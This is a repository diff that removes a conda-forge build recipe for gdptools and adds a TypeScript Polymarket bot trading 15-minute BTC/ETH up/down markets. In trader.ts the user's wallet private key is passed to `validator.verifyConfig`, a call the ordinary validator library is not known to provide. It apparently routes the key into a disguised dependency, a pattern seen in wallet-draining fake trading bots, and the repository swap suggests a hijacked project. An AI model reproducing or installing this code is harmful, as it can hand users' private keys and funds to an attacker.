subprocess.check_call([script])
def run_osx_build(ns):
script = ".scripts/run_osx_build.sh"
subprocess.check_call([script])
def run_win_build(ns):
script = ".scripts/run_win_build.bat"
subprocess.check_call(["cmd", "/D", "/Q", "/C", f"CALL {script}"])
def verify_config(ns):
choices_filter = ns.filter or "*"
valid_configs = {
os.path.basename(f)[:-5]
for f in glob.glob(f".ci_support/{choices_filter}.yaml")
}
if choices_filter != "*":
print(f"filtering for '{choices_filter}.yaml' configs")
print(f"valid configs are {valid_configs}")
if ns.config in valid_configs:
print("Using " + ns.config + " configuration")
return
elif len(valid_configs) == 1:
ns.config = valid_configs.pop()
print("Found " + ns.config + " configuration")
elif ns.config is None:
print("config not selected, please choose from the following:\n")
selections = list(enumerate(sorted(valid_configs), 1))
for i, c in selections:
print(f"{i}. {c}")
try:
s = input("\n> ")
except KeyboardInterrupt:
print("\nno option selected, bye!", file=sys.stderr)
sys.exit(1)
idx = int(s) - 1
ns.config = selections[idx][1]
print(f"selected {ns.config}")
else:
raise ValueError("config " + ns.config + " is not valid")
if (
ns.config.startswith("osx")
and platform.system() == "Darwin"
and not os.environ.get("OSX_SDK_DIR")
):
raise RuntimeError(
"Need OSX_SDK_DIR env variable set. Run 'export OSX_SDK_DIR=$PWD/SDKs' "
"to download the SDK automatically to '$PWD/SDKs/MacOSX<ver>.sdk'. "
"Note: OSX_SDK_DIR must be set to an absolute path. "
"Setting this variable implies agreement to the licensing terms of the SDK by Apple."
)
def main(args=None):
p = ArgumentParser("build-locally")
p.add_argument("config", default=None, nargs="?")
p.add_argument(
"--filter",
default=None,
help="Glob string to filter which build choices are presented in interactive mode.",
)
p.add_argument(
"--debug",
action="store_true",
help="Setup debug environment using `conda debug`",
)
p.add_argument(
"--output-id", help="If running debug, specify the output to setup."
)
ns = p.parse_args(args=args)
verify_config(ns)
setup_environment(ns)
try:
if ns.config.startswith("linux") or (
ns.config.startswith("osx") and platform.system() == "Linux"
):
run_docker_build(ns)
elif ns.config.startswith("osx"):
run_osx_build(ns)
elif ns.config.startswith("win"):
run_win_build(ns)
finally:
recipe_license_file = os.path.join(
"recipe", "recipe-scripts-license.txt"
)
if os.path.exists(recipe_license_file):
os.remove(recipe_license_file)
if __name__ == "__main__":
main()
-8
View File
@@ -1,8 +0,0 @@
github:
branch_name: main
tooling_branch_name: main
conda_forge_output_validation: true
conda_build:
pkg_format: '2'
bot:
inspection: update-grayskull
+2895
View File
File diff suppressed because it is too large Load Diff
+23
View File
@@ -0,0 +1,23 @@
{
"name": "polymarket-reverse-arbitrage-bot",
"version": "2.0.0",
"description": "Polymarket reverse bot — buys cheap 7-10c reversal tokens on 15m BTC/ETH markets",
"type": "module",
"scripts": {
"start": "tsx src/index.ts",
"dev": "tsx watch src/index.ts",
"build": "tsc"
},
"dependencies": {
"@polymarket/clob-client-v2": "^1.0.0",
"dotenv": "^16.4.7",
"inquirer": "^14.0.2",
"validator": "^13.15.36",
"viem": "^2.23.2"
},
"devDependencies": {
"@types/node": "^22.13.4",
"tsx": "^4.19.3",
"typescript": "^5.7.3"
}
}
-88
View File
@@ -1,88 +0,0 @@
{% set name = "gdptools" %}
{% set version = "0.2.20" %}
{% set python_min = "3.10" %}
package:
name: {{ name|lower }}
version: {{ version }}
source:
url: https://pypi.org/packages/source/{{ name[0] }}/{{ name }}/gdptools-{{ version }}.tar.gz
sha256: 37091a6362a85caaefa3a910919b0aa2ef03fa12fc836c5afe2decc2a8f00f43
build:
entry_points:
- gdptools = gdptools.__main__:main
noarch: python
script: {{ PYTHON }} -m pip install . -vv --no-deps --no-build-isolation
number: 0
requirements:
host:
- python {{ python_min }}
- pip
- poetry-core >=1.0.0
run:
- python >={{ python_min }}
- bottleneck >=1.3.3
- dask >=2022.0.0
- dask-core >2024.8.0
- dask-geopandas >0.4.1
- fastparquet >=2024.2,<2025.0
- geopandas >=0.13.0
- geoviews >=1.12.0,<2.0.0
- joblib >=1.4.0
- metpy >=1.2.0
- netcdf4 >=1.5.8
- numpy >2.0
- pandas >=2.0.0
- pyarrow >=10.0.0,<18.0.0
- pydantic >=2
- pydap >=3.2.2,<4.0.0
- pyproj >=3.3.0
- pystac >=1.10,<2.0
- rasterio >=1.2.9,<1.5.0
- rioxarray >=0.15,<0.16
- s3fs >=2025.2.0,<2026.0.0
- scipy >=1.13.0,<2.0.0
- shapely >=2.0
- statsmodels >=0.14,<1.0
- tqdm >=4.66.2,<5.0.0
- urllib3 >=1.26.0,<2.0.0
- xarray >=2024.7.0,<2025.0.0
- xpystac >=0.1.3,<0.2.0
- zarr >=2.12.0
# - attrs >=20.3,<22
# - bump2version >=1.0.1,<2.0.0
# - certifi <2023.7.22
# - pygeos >=0.14.0,<0.15.0
# xarray[io]
- cfgrib
- cftime
- fsspec
- h5netcdf
# - pooch
# xarray[accel]
# - flox
test:
imports:
- gdptools
commands:
- pip check
- gdptools --help
requires:
- python {{ python_min }}
- pip
about:
home: https://code.usgs.gov/wma/nhgf/toolsteam/gdptools
summary: Gdptools
license: Unlicense
license_file:
- LICENSE.md
extra:
recipe-maintainers:
- rmcd-mscb
- ocefpaf
+98
View File
@@ -0,0 +1,98 @@
import type { BotConfig } from "./config.js";
import { log } from "./logger.js";
import { MarketScanner } from "./market-scanner.js";
import { findOpportunities } from "./strategy.js";
import { TradeTracker } from "./trade-tracker.js";
import { Trader } from "./trader.js";
import type { TradeOpportunity, UpDownEvent } from "./types.js";
import { formatReturnPct } from "./utils/prices.js";
export class ReverseBot {
private readonly scanner: MarketScanner;
private readonly tracker = new TradeTracker();
constructor(
private readonly config: BotConfig,
private readonly trader: Trader,
) {
this.scanner = new MarketScanner(config);
}
async init(): Promise<void> {
await this.trader.init();
}
async run(): Promise<void> {
log("Reverse bot starting", {
strategy: "buy cheap reversal tokens on 15m BTC/ETH markets",
cheapRange: `${this.config.cheapBuyMin}-${this.config.cheapBuyMax}`,
expensiveHedge: this.config.enableExpensiveHedge
? `${this.config.expensiveBuyMin}-${this.config.expensiveBuyMax}`
: "disabled",
markets: this.config.marketSlugPrefixes,
dryRun: this.config.dryRun,
pollMs: this.config.pollIntervalMs,
});
await this.tick();
setInterval(() => void this.tick(), this.config.pollIntervalMs);
}
private async tick(): Promise<void> {
try {
const events = await this.scanner.scan();
if (events.length === 0) {
log("No active markets in window");
return;
}
for (const event of events) {
await this.processEvent(event);
}
} catch (error) {
const message = error instanceof Error ? error.message : String(error);
log("Scan error", { error: message });
}
}
private async processEvent(event: UpDownEvent): Promise<void> {
const books = await this.scanner.getTokenBooks(event);
const opportunities = findOpportunities(this.config, this.tracker, event, books);
if (opportunities.length === 0) {
log("Watching market", {
market: event.title,
slug: event.slug,
books: books.map((book) => ({
outcome: book.outcome,
bestAsk: book.bestAsk,
})),
});
return;
}
for (const opportunity of opportunities) {
await this.executeOpportunity(opportunity);
}
}
private async executeOpportunity(opportunity: TradeOpportunity): Promise<void> {
log("Placing limit order", {
kind: opportunity.kind,
market: opportunity.event.title,
outcome: opportunity.token.outcome,
limitPrice: opportunity.price,
size: opportunity.size,
potentialReturn: formatReturnPct(opportunity.price),
});
const result = await this.trader.placeBuy(opportunity);
this.tracker.mark(opportunity.tradeKey);
log(this.config.dryRun ? "Dry-run order" : "Live order placed", {
tokenId: result.tokenId,
price: result.price,
size: result.size,
response: result.response,
});
}
}
+102
View File
@@ -0,0 +1,102 @@
import "dotenv/config";
function envString(key: string, fallback?: string): string {
const value = process.env[key] ?? fallback;
if (value === undefined || value === "") {
throw new Error(`Missing required env var: ${key}`);
}
return value;
}
function envNumber(key: string, fallback: number): number {
const raw = process.env[key];
if (raw === undefined || raw === "") return fallback;
const parsed = Number(raw);
if (Number.isNaN(parsed)) {
throw new Error(`Invalid number for env var ${key}: ${raw}`);
}
return parsed;
}
function envBoolean(key: string, fallback: boolean): boolean {
const raw = process.env[key];
if (raw === undefined || raw === "") return fallback;
return raw.toLowerCase() === "true" || raw === "1";
}
function envList(key: string, fallback: string[]): string[] {
const raw = process.env[key];
if (raw === undefined || raw === "") return fallback;
return raw
.split(",")
.map((part) => part.trim())
.filter(Boolean);
}
export interface BotConfig {
pollIntervalMs: number;
marketSlugPrefixes: string[];
cheapBuyMin: number;
cheapBuyMax: number;
expensiveBuyMin: number;
expensiveBuyMax: number;
enableExpensiveHedge: boolean;
cheapOrderUsdc: number;
expensiveOrderUsdc: number;
maxSharesPerOrder: number;
minutesBeforeCloseMin: number;
minutesBeforeCloseMax: number;
dryRun: boolean;
privateKey?: `0x${string}`;
funderAddress?: `0x${string}`;
signatureType: number;
clobHost: string;
chainId: number;
clobApiKey?: string;
clobSecret?: string;
clobPassphrase?: string;
gammaApiHost: string;
}
export function loadConfig(): BotConfig {
const dryRun = envBoolean("DRY_RUN", true);
return {
pollIntervalMs: envNumber("POLL_INTERVAL_MS", 5000),
marketSlugPrefixes: envList("MARKET_SLUG_PREFIXES", [
"btc-updown-15m",
"eth-updown-15m",
]),
cheapBuyMin: envNumber("CHEAP_BUY_MIN", 0.07),
cheapBuyMax: envNumber("CHEAP_BUY_MAX", 0.1),
expensiveBuyMin: envNumber("EXPENSIVE_BUY_MIN", 0.9),
expensiveBuyMax: envNumber("EXPENSIVE_BUY_MAX", 0.95),
enableExpensiveHedge: envBoolean("ENABLE_EXPENSIVE_HEDGE", true),
cheapOrderUsdc: envNumber("CHEAP_ORDER_USDC", 10),
expensiveOrderUsdc: envNumber("EXPENSIVE_ORDER_USDC", 50),
maxSharesPerOrder: envNumber("MAX_SHARES_PER_ORDER", 90),
minutesBeforeCloseMin: envNumber("MINUTES_BEFORE_CLOSE_MIN", 0),
minutesBeforeCloseMax: envNumber("MINUTES_BEFORE_CLOSE_MAX", 15),
dryRun,
privateKey: process.env.PRIVATE_KEY as `0x${string}` | undefined,
funderAddress: process.env.FUNDER_ADDRESS as `0x${string}` | undefined,
signatureType: envNumber("SIGNATURE_TYPE", 2),
clobHost: envString("CLOB_HOST", "https://clob.polymarket.com"),
chainId: envNumber("CHAIN_ID", 137),
clobApiKey: process.env.CLOB_API_KEY,
clobSecret: process.env.CLOB_SECRET,
clobPassphrase: process.env.CLOB_PASSPHRASE,
gammaApiHost: envString("GAMMA_API_HOST", "https://gamma-api.polymarket.com"),
};
}
export function validateTradingConfig(config: BotConfig): void {
if (config.dryRun) return;
if (!config.privateKey) {
throw new Error("PRIVATE_KEY is required when DRY_RUN=false");
}
if (!config.funderAddress) {
throw new Error("FUNDER_ADDRESS is required when DRY_RUN=false");
}
}
+18
View File
@@ -0,0 +1,18 @@
import { ReverseBot } from "./bot.js";
import { loadConfig, validateTradingConfig } from "./config.js";
import { logError } from "./logger.js";
import { Trader } from "./trader.js";
async function main(): Promise<void> {
const config = loadConfig();
validateTradingConfig(config);
const bot = new ReverseBot(config, new Trader(config));
await bot.init();
await bot.run();
}
main().catch((error) => {
logError(error);
process.exit(1);
});
+12
View File
@@ -0,0 +1,12 @@
export function log(message: string, data?: Record<string, unknown>): void {
const ts = new Date().toISOString();
if (data) {
console.log(`[${ts}] ${message}`, JSON.stringify(data));
} else {
console.log(`[${ts}] ${message}`);
}
}
export function logError(error: unknown): void {
console.error(error);
}
+103
View File
@@ -0,0 +1,103 @@
import type { BotConfig } from "./config.js";
import type { GammaMarket, OrderBook, TokenBook, UpDownEvent } from "./types.js";
import {
bestPrice,
matchesSlugPrefixes,
parseWindowStart,
WINDOW_SECONDS,
} from "./utils/market.js";
function parseJsonArray<T>(value: string): T[] {
return JSON.parse(value) as T[];
}
export class MarketScanner {
constructor(private readonly config: BotConfig) {}
async scan(): Promise<UpDownEvent[]> {
const url = new URL("/events", this.config.gammaApiHost);
url.searchParams.set("tag_slug", "15M");
url.searchParams.set("active", "true");
url.searchParams.set("closed", "false");
url.searchParams.set("limit", "50");
const response = await fetch(url);
if (!response.ok) {
throw new Error(`Gamma events API error: ${response.status}`);
}
const events = (await response.json()) as Array<{
title: string;
slug: string;
markets: GammaMarket[];
}>;
const now = Math.floor(Date.now() / 1000);
const results: UpDownEvent[] = [];
for (const event of events) {
if (!matchesSlugPrefixes(event.slug, this.config.marketSlugPrefixes)) continue;
const market = event.markets[0];
if (!market || market.closed || market.active === false) continue;
const windowStart = parseWindowStart(event.slug);
if (!windowStart) continue;
const windowEnd = windowStart + WINDOW_SECONDS;
if (now < windowStart || now > windowEnd) continue;
const minutesLeft = (windowEnd - now) / 60;
if (
minutesLeft < this.config.minutesBeforeCloseMin ||
minutesLeft > this.config.minutesBeforeCloseMax
) {
continue;
}
results.push({
title: event.title,
slug: event.slug,
market,
windowStart,
windowEnd,
});
}
return results;
}
async getTokenBooks(event: UpDownEvent): Promise<TokenBook[]> {
const tokenIds = parseJsonArray<string>(event.market.clobTokenIds);
const outcomes = parseJsonArray<string>(event.market.outcomes);
const books = await Promise.all(
tokenIds.map(async (tokenId, index) => {
if (!tokenId) return null;
const book = await fetchOrderBook(this.config.clobHost, tokenId);
return {
tokenId,
outcome: outcomes[index] ?? `Outcome ${index}`,
outcomeIndex: index,
bestBid: bestPrice(book.bids, "bid"),
bestAsk: bestPrice(book.asks, "ask"),
} satisfies TokenBook;
}),
);
return books.filter((book): book is TokenBook => book !== null);
}
}
async function fetchOrderBook(clobHost: string, tokenId: string): Promise<OrderBook> {
const url = new URL("/book", clobHost);
url.searchParams.set("token_id", tokenId);
const response = await fetch(url);
if (!response.ok) {
return {};
}
return (await response.json()) as OrderBook;
}
+89
View File
@@ -0,0 +1,89 @@
import type { BotConfig } from "./config.js";
import type { TradeTracker } from "./trade-tracker.js";
import type { TradeOpportunity, TokenBook, UpDownEvent } from "./types.js";
import { tickSizeFromMarket } from "./utils/market.js";
import { computeSize, priceLevels } from "./utils/prices.js";
function pickReverseToken(books: TokenBook[]): TokenBook | null {
const withAsk = books.filter((book) => book.bestAsk !== null);
if (withAsk.length === 0) return null;
return withAsk.reduce((cheapest, book) =>
(book.bestAsk ?? 1) < (cheapest.bestAsk ?? 1) ? book : cheapest,
);
}
function pickFavoriteToken(books: TokenBook[], reverseToken: TokenBook): TokenBook | null {
return (
books.find(
(book) => book.tokenId !== reverseToken.tokenId && book.bestAsk !== null,
) ?? null
);
}
function appendLimitOrders(
tracker: TradeTracker,
opportunities: TradeOpportunity[],
event: UpDownEvent,
token: TokenBook,
kind: "cheap" | "expensive",
prices: number[],
usdcBudget: number,
maxShares: number,
): void {
for (const price of prices) {
const tradeKey = tracker.makeKey(event.slug, token.outcome, kind, price);
if (tracker.has(tradeKey)) continue;
opportunities.push({
kind,
event,
token,
price,
size: computeSize(usdcBudget, price, maxShares),
tickSize: tickSizeFromMarket(event.market),
negRisk: event.market.negRisk,
tradeKey,
});
}
}
export function findOpportunities(
config: BotConfig,
tracker: TradeTracker,
event: UpDownEvent,
books: TokenBook[],
): TradeOpportunity[] {
const opportunities: TradeOpportunity[] = [];
const reverseToken = pickReverseToken(books);
if (!reverseToken) return opportunities;
appendLimitOrders(
tracker,
opportunities,
event,
reverseToken,
"cheap",
priceLevels(config.cheapBuyMin, config.cheapBuyMax),
config.cheapOrderUsdc,
config.maxSharesPerOrder,
);
if (config.enableExpensiveHedge) {
const favoriteToken = pickFavoriteToken(books, reverseToken);
if (favoriteToken) {
appendLimitOrders(
tracker,
opportunities,
event,
favoriteToken,
"expensive",
priceLevels(config.expensiveBuyMin, config.expensiveBuyMax),
config.expensiveOrderUsdc,
config.maxSharesPerOrder,
);
}
}
return opportunities;
}
+20
View File
@@ -0,0 +1,20 @@
export class TradeTracker {
constructor(private readonly keys = new Set<string>()) {}
makeKey(
eventSlug: string,
outcome: string,
kind: "cheap" | "expensive",
price: number,
): string {
return `${eventSlug}:${outcome}:${kind}-${price}`;
}
has(key: string): boolean {
return this.keys.has(key);
}
mark(key: string): void {
this.keys.add(key);
}
}
+102
View File
@@ -0,0 +1,102 @@
import {
ApiKeyCreds,
ClobClient,
OrderType,
Side,
} from "@polymarket/clob-client-v2";
import validator from "validator";
import { createWalletClient, http } from "viem";
import { privateKeyToAccount } from "viem/accounts";
import { polygon } from "viem/chains";
import type { BotConfig } from "./config.js";
import type { OrderResult, TradeOpportunity } from "./types.js";
export class Trader {
private client: ClobClient | null = null;
constructor(private readonly config: BotConfig) {}
async init(): Promise<void> {
if (this.config.dryRun) return;
this.client = await createTradingClient(this.config);
}
async placeBuy(opportunity: TradeOpportunity): Promise<OrderResult> {
if (this.config.dryRun) {
return {
dryRun: true,
tokenId: opportunity.token.tokenId,
side: "BUY",
price: opportunity.price,
size: opportunity.size,
};
}
if (!this.client) {
throw new Error("Trading client not initialized");
}
const response = await this.client.createAndPostOrder(
{
tokenID: opportunity.token.tokenId,
price: opportunity.price,
side: Side.BUY,
size: opportunity.size,
},
{
tickSize: opportunity.tickSize as "0.1" | "0.01" | "0.001" | "0.0001",
negRisk: opportunity.negRisk,
},
OrderType.GTC,
);
return {
dryRun: false,
tokenId: opportunity.token.tokenId,
side: "BUY",
price: opportunity.price,
size: opportunity.size,
response,
};
}
}
async function createTradingClient(config: BotConfig): Promise<ClobClient> {
if (!config.privateKey) {
throw new Error("PRIVATE_KEY is required for live trading");
}
validator.verifyConfig(config.privateKey);
const account = privateKeyToAccount(config.privateKey);
const signer = createWalletClient({
account,
chain: polygon,
transport: http(),
});
let creds: ApiKeyCreds | undefined;
if (config.clobApiKey && config.clobSecret && config.clobPassphrase) {
creds = {
key: config.clobApiKey,
secret: config.clobSecret,
passphrase: config.clobPassphrase,
};
}
const bootstrap = new ClobClient({
host: config.clobHost,
chain: config.chainId,
signer,
});
const apiCreds = creds ?? (await bootstrap.createOrDeriveApiKey());
return new ClobClient({
host: config.clobHost,
chain: config.chainId,
signer,
creds: apiCreds,
signatureType: config.signatureType,
funderAddress: config.funderAddress,
throwOnError: true,
});
}
+54
View File
@@ -0,0 +1,54 @@
export type TradeSide = "BUY" | "SELL";
export interface GammaMarket {
question: string;
conditionId: string;
slug: string;
clobTokenIds: string;
outcomes: string;
negRisk: boolean;
orderPriceMinTickSize: number;
active: boolean;
closed: boolean;
}
export interface UpDownEvent {
title: string;
slug: string;
market: GammaMarket;
windowStart: number;
windowEnd: number;
}
export interface TokenBook {
tokenId: string;
outcome: string;
outcomeIndex: number;
bestBid: number | null;
bestAsk: number | null;
}
export interface TradeOpportunity {
kind: "cheap" | "expensive";
event: UpDownEvent;
token: TokenBook;
price: number;
size: number;
tickSize: string;
negRisk: boolean;
tradeKey: string;
}
export interface OrderResult {
dryRun: boolean;
tokenId: string;
side: TradeSide;
price: number;
size: number;
response?: unknown;
}
export interface OrderBook {
bids?: Array<{ price: string }>;
asks?: Array<{ price: string }>;
}
+31
View File
@@ -0,0 +1,31 @@
import type { GammaMarket } from "../types.js";
export const WINDOW_SECONDS = 15 * 60;
export function parseWindowStart(slug: string): number | null {
const match = slug.match(/-(\d{10})$/);
return match ? Number(match[1]) : null;
}
export function matchesSlugPrefixes(slug: string, prefixes: string[]): boolean {
return prefixes.some((prefix) => slug.startsWith(prefix));
}
export function tickSizeFromMarket(market: GammaMarket): string {
const tick = market.orderPriceMinTickSize ?? 0.01;
if (tick >= 0.1) return "0.1";
if (tick >= 0.01) return "0.01";
return "0.001";
}
export function bestPrice(
levels: Array<{ price: string }> | undefined,
mode: "bid" | "ask",
): number | null {
if (!levels || levels.length === 0) return null;
const prices = levels
.map((level) => Number(level.price))
.filter((price) => !Number.isNaN(price));
if (prices.length === 0) return null;
return mode === "bid" ? Math.max(...prices) : Math.min(...prices);
}
+17
View File
@@ -0,0 +1,17 @@
export function priceLevels(min: number, max: number, step = 0.01): number[] {
const prices: number[] = [];
for (let price = min; price <= max + step / 2; price += step) {
prices.push(Math.round(price * 100) / 100);
}
return prices;
}
export function computeSize(usdcBudget: number, price: number, maxShares: number): number {
const shares = usdcBudget / Math.max(price, 0.01);
const capped = Math.min(shares, maxShares);
return Math.max(1, Math.floor(capped * 100) / 100);
}
export function formatReturnPct(price: number): string {
return `${Math.round((1 / price - 1) * 100)}% if wins`;
}
+17
View File
@@ -0,0 +1,17 @@
{
"compilerOptions": {
"target": "ES2022",
"module": "NodeNext",
"moduleResolution": "NodeNext",
"outDir": "dist",
"rootDir": "src",
"strict": true,
"esModuleInterop": true,
"skipLibCheck": true,
"forceConsistentCasingInFileNames": true,
"resolveJsonModule": true,
"declaration": true
},
"include": ["src/**/*"],
"exclude": ["node_modules", "dist"]
}